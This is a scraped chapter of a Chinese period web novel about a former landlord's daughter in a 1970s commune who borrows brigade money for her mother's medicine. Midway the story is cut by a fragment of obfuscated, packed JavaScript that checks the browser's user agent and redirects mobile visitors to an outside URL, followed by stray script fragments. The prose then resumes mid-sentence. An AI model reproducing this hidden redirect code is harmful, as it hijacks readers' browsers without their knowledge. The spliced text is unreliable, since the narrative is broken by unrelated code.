文趣网 > 其他小说 > 前程似锦[年代] > 3. 第 3 章
    “你这是干啥,大中午的还让不让人歇口气了。”万山峰拧眉呵斥,满脸都是被拦住的不悦。

    万家祖上曾是程家的佃户。

    这双磨大队,可以说有半数以上都曾经是程家的佃户,还有少数祖上曾是程家的仆人。

    有人嚷着遭受过程家的迫害,高喊着‘翻身农奴把歌唱’,‘打倒地主劣绅’,把程家踩进泥里,可也有人私下里跟程似锦说:“那些话别听别信,你高祖是附近有名的大善人,逢灾荒年开仓放粮,遇到交不起租子的佃户就先欠着,头三年都不收利钱,没有比你高祖更好的主家了。”

    说这话的方家奶奶光绪年间生人,今年已是85岁高龄,无论前几年的斗争闹的有多欢,方家从上到下都不曾为难过程家。

    只形势使然,也无法在明面上跟大环境对着干,只在私下里偷着贴补过一二。

    程似锦很感激。

    村里也有其他对他们释放过善意的几户人家,不过如方家这般暗中贴补的只在少数,毕竟家家日子都难,只要程家落难的这些年里没有踩上一脚,程家都记那份情。

    旁人言说的好与坏程似锦都无从考证,但她知道近年的事。

    前些年打仗的时候,程家捐钱捐物支援前线战斗。在土地改革运动初期,自家是这宝丰乡,即现在的宝丰公社第一个积极响应号召,配合分田的地主富户。

    单凭这几点,程似锦就知道他们程家的家风差不了,祖上也是会审时度势的。

    可是哪儿错了呢?让那些曾经仰仗程家生存的人如今恨程家人不死。

    程似锦没去看大队长那张难看的脸,她现在必须摆出弱者的姿态,也只能是弱者。

    “大队长,我家的情况你也清楚,若非性命攸关我哪儿敢来麻烦队里。实在是我娘的病不能断了药,可家里为难,拿不出买药的钱,我这才来求队里先借我们点钱让我娘买药!”

    万山峰脸色漆黑:“你们家为难,队里就不为难?这些年你们年年倒欠大队里的钱,只见欠着的,没见你们还一分一厘,你让队里咋帮?”

    程似锦吸吸鼻子,带着哭腔的声音道:“我知道我们家给队里添了不少麻烦,我现在长大了,我会努力赚工分还队里的钱,可眼下这一步实在难走。求大队长帮帮我们,救救我娘。”

    程似锦的哭腔有演的成分,可想到家里近年接连遭受的打击,情绪一上来,假哭变成了真哭:“我不想让我娘死,我已经没爹了,不能再没有娘。”

    万山峰紧皱眉头盯着她看了一会儿,这才不耐烦地道:“行了行了别哭了,不知道的还以为队里欺负你们娘仨了呢。虽然你们家祖上剥削劳动人民,但人民是宽容的,再怎么样也不可能真看着你娘去死,跟我进来!”

    程似锦擦了把泪,跟在万山峰身后往大队部走。

    “队里帮了你们,你们也要记队里的好,回去带着你妹妹好好进行劳动改造。组织上宽容,免了赵秋兰的劳改,但你也要给赵秋兰传达组织对她的批评,劳动改造跟不上,思想不能落后,要记住,现在是人民当家做主了。”

    程似锦低声:“是!”

    “都说前人栽树后人乘凉,你们家这是前人挖坑后人跳,你说早知道有今日,也不知道你们程家祖先后不后悔当初对劳动人民的剥削。”

    程似锦没吭声,低着头跟进了办公室。

    在队里值班的记分员看到她,厌恶的皱了皱眉,同样留在大队部的会计眼底闪过一抹不忍,低下头去。

    “邵会计,给她支……”万山峰转头看向程似锦,“借多少?”

    程似锦小心翼翼地开口:“我娘的病得长期吃药,我也不想总来麻烦诸位领导,我能不能借、借二十?”

    “多少?”万山峰声音拔高,震的整间办公室都嗡嗡作响,“你可真敢开口,还二十,你咋不借二百呢。”

    程似锦肩膀缩了一下,似被大队长的样子吓到般后退半步,垂下了头。

    “老邵,给她拿十块,写欠条让她按手印。”说完黑着脸离开。

    “诶!”

    邵会计脆声应着,从裤腰带上摘下一串钥匙,翻出其中一把打开上锁的抽屉,先拿了一张大团结,想了想把大团结放回去,点了一把零钱。

    从笔记本上撕了张纸,写下一张欠条,抬头示意程似锦过来按手印。

    带着一张大团结出去买药,难免招人眼,不如直接给零钱,在家里分开存放安全,拿出门用也方便。

    程似锦接过钱点了一遍,感激地看了邵会计一眼,低头在欠条上按下手印,转身离开。

    两人离开后,记分员抬手在鼻子底下闪了闪:“臭烘烘的,熏死我了。大中午值个班还要看地主家的狗崽子,晦气!”

    邵会计笑骂道:“行了,你吃的庄稼不上肥啊?”

    似锦回到家,繁华已经做好了午饭,稀的能照出人影的玉米糊糊,热了三个混了少量玉米面的野菜团子。

    秋天的野菜不如春季鲜嫩,但好在有些野菜尖儿还是能吃的,只是口感上差一点。

    娘仨现在都不能哄个肚儿饱,更别谈追求口感了。

    可现在的似锦压根顾不上吃饭,掩好屋门,脸上的高兴绽放开来,招呼妹妹凑到炕边,这才压低声音给娘和妹妹报告好消息:“娘,咱有钱了,昨晚的收获我分了六块多。”

    赵秋兰呆住:“多、多少?”

    程似锦笑嘻嘻地解开绑着的裤腿,从里头掉出来一个油纸包,将油纸包打开,里头是卷的整整齐齐的六块七毛一,捧给赵秋兰和繁华看:“娘,你们看!”

    “还有……”

    程似锦又去掏兜,掏出刚刚从大队借来的十块钱,也堆到娘俩面前,欢喜地笑说:“我还找大队借了十块。”

    赵秋兰还没从闺女挣的第一笔资金里回过神来,又被似锦后头的话惊呆了。

    “找大队借的?大队干部能那么好说话!”

    “好不好说话他们也借了。”程似锦小声道,“这钱咱必须得借,娘你想啊,咱家被那么多双眼睛盯着,谁都摸准了咱家的底。一直没进项却能一直买药,怕再被人盯上。所以我今天中午大张旗鼓的去大队借钱,这样咱家买药的钱就有来路了。”

    “好,好!”赵秋兰眼眶有些湿润,问道,“他们没为难你吧?”

    难为她的似锦,考虑的这样周全。

    似锦摇摇头:“咱家情况队里干部是知道的。”

    在接受教育时听过更难听的话,万山峰说的那两句在她这里都算不上为难。

    赵秋兰拍了拍程似锦的手,知道这闺女又报喜不报忧了。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888347|212653||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >转头叮嘱小女儿:“出去可千万别说你姐赚钱的事,有人问就说你大姐找队里借的。”

    繁华猛点头:“娘,我知道。”

    早早就经历过人心的险恶,不用教也学会了谨慎。

    程似锦:“等我去买药的时候从国营饭店买几个白面馒头,回来给娘补补身子。”

    赵秋兰却摇摇头:“娘不馋那一口,你也别买白面馒头,回来万一碰到个多事的非要揪着看你买的啥,你是让看还是不让看?不让看没得生事端,要是让看了,见你买了白面馒头,又得给咱家扣帽子。”

    即便没有规定成分不好的人家不能吃白面馒头,可架不住旁人非要较她们的真。

    穷人嘛,要有穷人的样子,要穷的方方面面。

    都穷的要借钱买药了,还敢吃白面馒头,这是改造的不彻底啊。

    “买两个二合面窝头你跟小华吃,人家那二合面窝头比咱自己蒸的喧软,白面不少放,就算有人小题大做也大不到哪儿去。”

    程似锦沉默了下,道:“要不我跟方腾飞商量商量,看看他的门路能不能买到白面,咱家蒸窝头的时候多少掺一点。”

    只蒸白面馒头她也是不敢想的,那味儿太香。隔壁住了一家属狗的,她们在这边放个屁那边都要耸耸鼻子。

    她家老祖当年为什么要救逃荒过来的詹家祖宗,让他们死在庄子外头不好吗,给自己后代留了这么一窝祸害。

    赵秋兰点头,又叮嘱:“让那孩子注意点安全,货不货钱不钱的都不重要,关键时候该舍就舍,多想想他爷爷。”

    “我嘱咐过了。”

    地主家的后代找大队里借钱这事下午就传开了。

    有人愤愤不平,跑到程似锦面前说一些难听的话。

    难听话听多了也会免疫,似锦已经学会了自我屏蔽,让那些话过耳不过心。

    他们用语言‘教育’,她就低头听着,挨两下推搡就受着,等愤愤不平的人发泄完离开,她没事人一样继续干活。

    受点磋磨怕啥,她有钱了!

    专门负责盯着坏分子劳动改造的小队长冯半山在不远处当乐子看,见乐子没了,转身去看其他人的劳动进度。

    方腾飞走过来,一声不吭捞起扁担勾起两个装满干粪的篮子往外走。

    “你干嘛?”程似锦忙抓住扁担上的钩子,看了眼监工离开的方向,小声道,“这是我的活。”

    方腾飞低声道:“我替你挑两趟,你歇着。”

    “别意气用事,再让人看出什么盯上咱俩。”

    方腾飞慢慢把扁担放下,低声咬牙道:“有时候真想把那些人炸了。”

    “嘴上别没个把门的。”

    程似锦接过扁担挑在肩上,瞪了方腾飞一眼,豆芽菜一样的小身板瞪起人来没啥杀伤力,但挑起扁担走的却很稳。

    傍晚,程似锦背上赵秋兰去牛棚找傅大夫诊脉。

    繁华也跟着,她手上拎着个小布袋,里头装了一斤玉米面。

    傅大夫方子里的药,有几种是他农闲时去山上采的,似锦去药店抓药只抓另外几种,能省不少钱。

    虽然傅大夫说不要她们的药钱和诊费,可自家这边不能一点表示没有,眼下拿不出多少东西,每次去就拎上一斤玉米面,勉强抵一点诊费和药费。